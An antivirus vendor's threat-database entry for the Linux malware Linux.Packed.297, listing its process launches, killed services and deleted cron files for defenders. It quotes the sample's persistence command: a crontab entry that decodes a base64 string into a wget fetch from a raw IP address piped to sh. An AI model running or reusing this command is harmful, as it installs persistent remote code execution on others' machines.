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Linux.Packed.297

Added to the Dr.Web virus database: 2019-02-04

Virus description added:

Technical Information

Malicious functions:
Substitutes application name for:
  • svqw
Launches processes:
  • sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xODUuMTY1LjE2OS42L2pwL2ouc2h8c2g=\" | base64 -d |sh > /dev/null 2>&1' | crontab -;
  • crontab -
Kills system processes:
  • sshd
Kills the following processes:
  • cron
Performs operations with the file system:
Deletes folders:
  • /tmp/.font-unix
  • /tmp/.ICE-unix
  • /tmp/.X11-unix
  • /tmp/.XIM-unix
  • /tmp/.Test-unix
  • /var/spool/cron/atjobs
  • /var/spool/cron/atspool
  • /var/spool/cron/crontabs
Creates or modifies files:
  • /var/spool/cron/crontabs/tmp.EASh7H
Deletes files:
  • /var/spool/cron/atjobs/.SEQ
  • /etc/cron.hourly/.placeholder
  • /etc/cron.daily/passwd
  • /etc/cron.daily/aptitude
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/logrotate

Curing recommendations


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